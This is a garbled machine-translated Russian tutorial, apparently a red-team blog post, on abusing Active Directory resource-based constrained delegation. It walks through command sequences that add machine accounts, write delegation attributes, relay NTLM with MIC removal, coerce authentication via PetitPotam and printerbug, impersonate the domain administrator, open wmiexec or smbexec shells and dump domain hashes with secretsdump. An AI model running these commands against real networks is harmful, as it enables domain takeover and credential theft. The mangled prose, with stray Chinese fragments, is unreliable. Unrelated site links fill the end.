Ограниченное делегирование на основе ресурсов (RBCD)
Ограниченное делегирование на основе ресурсов (RBCD)

RBCD

Дайте машине добавить вRBCDиз Посылка: 1. Вы можете дать себе доп. в 2.ACL→Account Restriction/msDS-AllowedToActOnBehalfOfOtherIdentityсвойство→creator-sid/backdoor/high level пользователь. Если у вас есть учетная запись для инструмента пользователя объекта/домена компьютера Ограничение и свойства msDS-AllowedToActOnBehalfOfOtherIdentity WriteProperty позволяют выполнять операции на основе Ограниченное делегирование ресурсов изиспользовать.

Простота в использовании

Ограниченное делегирование на основе ресурсов (компьютер)

добавить в
Есть две ситуации:

(1).creator-sid пользователь:alice-workstationЕсли Алиса втянута в домен, у Алисы по умолчанию будет alice-workstation.изAccount Разрешение WriteProperty ограничения

(2) После получения полномочий домена добавьте. вbobверноalice-workstation$izmsDS-AllowedToActOnBehalfOfOtherIdentityizWritePropertyРазрешения 1.ldap_shell

2.lex

adfind запросы acl alice-workstation:

злоупотреблять

Демо для alice-workstation$злоупотреблять с Бобом:

Пользователи домена могут добавлять по умолчанию в 10 Введите компьютер в домен (maq) как бобиз добавить вbob-evil$

Установите bob-evil на rbcd alice-station$

Ограниченное делегирование генерирует билет cifs ST для администратора на alice-station$

Импортируйте билеты и получите интерактивную оболочку для wmi

Ограниченное делегирование на основе ресурсов (Пользователь)→MAQ=0

Некоторое время назад у иностранцев сложилась такая манера высказывания: использовать:

https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html существует,Злоумышленник не может создать учетную запись на компьютере,Вы можете подключить пользователя домена rbcd к учетной записи доменного компьютера для злоупотребления.

добавить в

Как указано выше, Алиса втягивает alice-station в домен, поэтому у Алисы есть разрешение **msDS-AllowedToActOnBehalfOfOtherIdentity WriteProperty пользователя домена alice-station$. ** Установите для bob значение alice-station$ в rbcd Боба:

злоупотреблять

getST.py генерирует билет cifs ST администратора для alice-station:

На этапе S4U2self сообщается об ошибке: Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN.

Это связано с тем, что пользователь не зарегистрировал SPN по умолчанию, и KDC не может выбрать правильный ключ для расшифровки, поэтому S4U2Self завершается сбоем. Если SPN добавить в Бобу и вы сможете успешно перевестись с KDC подает заявку на билеты ST, а это значит, что проблема не в самой учетной записи пользователя, а просто KDC Невозможно выбрать правильный ключ для расшифровки.

U2U реализует расширение аутентификации между пользователями. На этапе S4U2Proxy KDC попытается использовать долгосрочную аутентификацию Боба. key(bob хеш) для расшифровки, но U2U сделает После шифрования билета с помощью сеансового ключа TGT, прикрепленного к TGS-REQ, KDC не может его нормально расшифровать. В это время вы можете использовать SamrChangePasswordUserсуществоватьS4U2Self. Изменив хэш Боба с помощью S4U2Proxy на значение ключа шифрования TGT U2U, KDC может успешно расшифровать и выдать билеты ST. Подробную информацию см. по адресу: https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg.

impacketиспользовать

Возьмем, к примеру, настройку делегирования обычного пользователя домена dandy в dc1$ на основе ограничений ресурсов. Здесь администратор напрямую настраивает rbcd.

Язык кода:javascript
копировать
# Установить денди на dc1$изRBCD
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'dc1$' -delegate-from 'dandy' -dc-ip 192.168.134.
# Используйте dandyиhash для генерации TGT (ntlm хеш использует шифрование RC4)
getTGT.py -hashes :$(pypykatz crypto nt 'Qq123456..') 'redteam.lab/dandy' -dc-ip 192.168.134.
# Получить дендиTGTизSession Key
python3 describeticket.py dandy.ccache | grep 'Ticket Session Key'
# Установить dandyzhash на сессию Key
python3 smbpasswd.py -newhashes :c592bc40c1908aff4787f4f4db7f0a82 'redteam/dandy:Qq123456..'@dc1.redteam.lab
# Импортировать TGT
export KRB5CCNAME=dandy.ccache
# использоватьu2uполучатьdc1изhost serviceизST
python3 getST.py -u2u -impersonate administrator -spn "host/dc1.redteam.lab" -k -no-pass 'redteam.lab/dandy'
# Импортировать ST
export KRB5CCNAME=administrator@host_dc1.redteam.lab@REDTEAM.LAB.ccache
# WMI
python3 wmiexec.py administrator@dc1.redteam.lab -k -no-pass

Примечание. На SamrChangePasswordUser влияет групповая политика домена. Стандартная и общая политика паролей в домене может не иметь возможности вовремя изменить пароль. Если он определенно пройдет ток 域пользователь能拿下DCиз Вы можете попробовать это,использовать成功后将пользователь密码改为原来изценить。

гнилые помидоры

Ограниченное делегирование на основе ресурсов достигает цели делегирования путем изменения собственного поля msDS-AllowedToActOnBehalfOfOtherIdentity. По умолчанию этот доменный компьютер подключается к домену. У кого еще есть такое разрешение? Поскольку злая машина втягивается в домен через пользователя 07, злой ACL проходит через AdFind, а пользователи с разрешениями на запись фильтруются через запись.

Язык кода:javascript
копировать
AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
Вы можете видеть, что не только пользователь 07, но и пользователи с разрешениями СИСТЕМА имеют права на запись в этот объект.
Поверхность атаки: пользователи домена с разрешениями служб, такими как iis, могут получить самые высокие разрешения текущего компьютера домена.

(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities) В официальном документе четко указано, что пользователи служб, такие как iis, используют учетную запись компьютера (SYSTEM) для запроса сети ресурсы. В официальной документации четко указано, что пользователи служб, такие как iis, используют учетную запись компьютера (SYSTEM) для запроса сетевых ресурсов. )

Этот вызов ставит очень серьезную проблему: не только iis, но и все низкопривилегированные службы. (например, сетевые Локальные службы (например, сервис) запрашивают учетные записи компьютеров. Ресурсы внутри домена. Эта функция позволяет напрямую подключаться к настройкам контроллера домена с использованием ldap на основе текущего компьютера на основе ограниченного делегирования ресурсов, что приводит к падению текущего компьютера домена.

Демо
Ранее известно:
1. По умолчанию пользователи домена могут создать десять доменных компьютеров.
  1. Сервисы с низким уровнем привилегий (такие как сетевая Службы этого типа (то есть собственные службы) запрашивают ресурсы внутри домена как учетную запись компьютера. Учетная запись компьютера имеет разрешения WriteProperty сама на себя. Текущая среда: На машине домена web2008 хранится служба существованияiis. После получения веб-оболочки злоумышленник обнаружил, что текущие разрешения — iis, но этот пользователь по-прежнему является пользователем домена и может создавать учетные записи компьютера. Число; iis использует учетную запись компьютера для запроса ресурсов в домене и имеет разрешения WriteProperty на самом компьютере. Вы можете установить себя изmsDS-AllowedToActOnBehalfOfOtherIdentity. Поля для настройки ограниченного делегирования на основе ресурсов. Таким образом, вы можете использоватьweb2008 создать доменную машину (здесь evilpc) и применить writelproperty, установив evilpc на ее базовый ресурс из-за ограниченного делегирования.
Определите, успешна ли настройка, просмотрев LDAP.
Язык кода:javascript
копировать
python3 getST.py -dc-ip 192.168.129.130 redteam/evilpc\$:123456 -spn cifs/web2008.redteam.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k redteam/administrator@web2008.redteam.lab

2019-1040

Ретранслируйте целевую аутентификацию SMB на ldap контроллера домена через MITM. Поскольку SMB не может передаваться напрямую через LDAP, необходимо обойти проверку NTLM MIC (проверку целостности сообщения), что дает злоумышленнику возможность получить высшие полномочия в домене, используя только одну обычную учетную запись домена. 1. Создайте доменную машину

Язык кода:javascript
копировать
python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name QQQ -computer-pass 1qaz@WSX "redteam.lab/carn2:Qq123456.."

2.ntlmrelayx.py мониторинг

Язык кода:javascript
копировать
python3 ntlmrelayx.py -t ldap://192.168.130.131 -domain redteam.lab -smb2support --remove-mic --delegate-access --escalate-user QQQ$

3. Принудительное срабатывание защиты от подключения.

Язык кода:javascript
копировать
python3 PetitPotam.py 192.168.130.1 192.168.130.130 -u carn2 -p Qq123456.. -d redteam.lab
------
python3 printerbug.py Домен/имя пользователя:пароль@serviceip Вернуть IP
python3 printerbug.py hiro/win10:123456789qwe.@192.168.228.33 192.168.1.

Ntlmrelayx.py обходит NTLM MIC, через SMB relay в LADP, поскольку контроллер домена не находится в Exchange Windows Он находится в группе «Разрешения», поэтому его нельзя записать. ACL не может быть назначен указанному пользователю добавить однако разрешение Dcsync позволяет создать новую учетную запись компьютера и настроить для учетной записи компьютера ограниченное делегирование самому вторичному контроллеру домена.

Ограниченное делегирование на основе ресурсов создает билет ST администратора для DC1.

Язык кода:javascript
копировать
python3 getST.py -spn host/dc1.redteam.lab 'redteam.lab/QQQ$:1qaz@WSX' -impersonate administrator -dc-ip 192.168.130.
Экспортировать хеш домена
Язык кода:javascript
копировать
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass dc1.redteam.lab -just-dc

webclient http self relay

Web Распределенная авторская разработка и контроль версий (WebDAV) это протокол передачи гипертекста (HTTP) расширение, которое определяет, как использовать HTTP ( docs.microsoft.com ) выполнить комплекс Основные функции файлов, такие как копирование, перемещение, удаление и создание. Нужно включить WebClient Услуги могут основываться на WebDAV из Программы и функции работают нормально. Оказывается, злоумышленники могут косвенно злоупотреблять. WebClient сервис для принудительной аутентификации. Этот вид умения Эту технологию необходимо объединить с другими технологиями принуждения (такими как PetitPotam, PrinterBug) в качестве усилителя этих технологий. , тем самым улучшая NTLM Возможность реле. Когда включено WebDAV из UNC Когда файловая операция запускается по пути, узел аутентификации выполняет следующее:

  1. отправить OPTIONS способы обнаружить Web Сервер поддерживает функции,
  2. Если поддерживается ПРОПФИНД выдается PROPFIND проситьспособы Структура каталогов,
  3. Если веб-сервер отвечает 401 Unauthorized и запрашивает аутентификацию NTLM через заголовок WWW-Authenticate, мини-перенаправитель WebDAV приступит к инициации аутентификации запроса-ответа NTLM, в конечном итоге предоставляя хэш NetNTLM веб-серверу.

Общий процесс проверки личности может выглядеть следующим образом:

существовать Active Directory в конфигурации по умолчанию вы можете существовать WebClient Удаленно взять на себя управление рабочей станцией во время работы службы (Windows 7/10/11) и возможно изсервера (если установка опыт работы с настольным компьютером). Вкратце, как это делается:

  • проходить MS-RPRN или MS-EFSRPC проходить HTTP Запустите аутентификацию компьютера, для которой требуется набор RPC вызовиз Реквизиты для входа。
  • Передайте аутентификацию компьютера на LDAP/LDAPS для настройки RBCD/Shadow Credentials.

Следует отметить, что из WebClient Служба не запускается автоматически при запуске существования. Однако, если сработало WebClient Сервис существует, запускается на рабочей станции, и управление системой возможно удаленно. существуют Принудительная аутентификация в процессе, WebDAV можно заменить SMB,проходить Следующий форматиз UNC Злоумышленник получил доступ к пути HTTP Сервер: Хотя этот путь отличается от SMB По умолчанию в соглашении из UNC Разница в пути невелика, но влияние огромно. Наиболее очевидное различие заключается в том, что клиент больше не используется. SMB протокол, вместо него будет использоваться HTTP протокол(WebDAV),тем самымсуществовать Relay To LDAP/s обойти подпись. Более того, еще одним преимуществом этого является то, что злоумышленник HTTP Сервер может работать на любом порту, что обеспечивает большую гибкость с точки зрения красной команды, что позволяет нам избежать работы с уже связанными портами. SMB порт.

использовать:существовать客户端机器上启动 WebClient обслуживание, а затем пройти WebClient осуществлять NTLM Relay To LDAP/s, установленный для текущей машины msDS- KeyCredentialLink или msDS-AllowedToActOnBehalfOfOtherIdentity свойства и в конечном итоге переходят Shadow Credentials или RBCD Повышайте привилегии.

Условия использования

1. Служба WebClient должна работать на существующем целевом объекте. 2. По умолчанию Интернет Клиент будет только автоматически Intranet изhost в зоне для аутентификации, WebClient Только для местной интрасети (Локальный Интранет) или доверенный с сайта (Доверенное Сайты) список целевого использования «Учетные данные по умолчанию» Аутентификация. Один из способов добиться этого — использовать внутреннее имя netbios атакующего хоста (без предложения). 点)или ВОЗиспользоватьdnstool.py Для злоумышленника добавить вднс для завершения. 3. Должно быть отключено LDAP Привязка подписи/канала (по умолчанию). 4. Используется для принуждения HTTP Аутентификация должна выполняться с использованием имени netbios.

использовать

1. Установите соединение с помощью носков
Язык кода:javascript
копировать
socks 26085
2. Проверьте статус веб-клиента

1.использоватьwebclientservicescannerЗапрос

Язык кода:javascript
копировать
webclientservicescanner redteam/carn:'4120'@192.168.130.100 -dc-ip 192.168.130.

Если веб-клиент не открыт, вы можете использовать StartWebClientSvc.o, чтобы открыть его с низкими разрешениями.

2.использовать запрос службы sc

Язык кода:javascript
копировать
sc query webclient
sc config webclient start=demand/auto/disabled
sc start webclient

3. Используйте Crackmapexec для проверки.

Язык кода:javascript
копировать
./crackmapexec smb 192.168.130.1/24 -u administrator -p 'Qq123456..' -M webdav
3. Включите переадресацию портов.
Язык кода:javascript
копировать
rportfwd_local 8003 0.0.0.0 80

1. Добавьте RBCD

1.добавить вдоменная машинаQAZ$
Язык кода:javascript
копировать
python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name QAZ -computer-pass 1qaz@WSX "redteam.lab/carn2:Qq123456.."
2.ntlmrelayx.py мониторинг, добавление в QAZ$из на основе делегирования ограничений ресурсов
Язык кода:javascript
копировать
python3 ntlmrelayx.py -domain redteam.lab -t ldap://192.168.130.130 --delegate-access --escalate-user QAZ$
3.rfsrpc запускает переподключение
Язык кода:javascript
копировать
python3 PetitPotam.py -u carn2 -p Qq123456.. -d redteam.lab Win-10@8003/print 192.168.130.
4.getst на имя администратора
Язык кода:javascript
копировать
python3 getST.py -dc-ip 192.168.130.130 -spn cifs/win-10.redteam.lab redteam.lab/QAZ$:'1qaz@WSX' -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@win-10.redteam.lab -dc-ip 192.168.130.

Acount Operators

Члены группы «Операторы учетной записи» могут изменять все атрибуты pcizmsDS-AllowedToActOnBehalfOfOtherIdentity в домене, кроме dc.

Язык кода:javascript
копировать
./main -d redteam.lab --dc 192.168.134.130 -u marry -H 5e95607216d9a4b7654d831beb9ee95c --AccountOperators

addcomputer

Язык кода:javascript
копировать
python3 addcomputer.py -method SAMR -dc-ip 192.168.134.130 -computer-name evil-op$ -computer-pass Qq123456.. "redteam.lab/op:Qq123456.."

addRBCD

Язык кода:javascript
копировать
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'testcomputers$' -delegate-from 'evil-op$' -dc-ip 192.168.134.130
boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода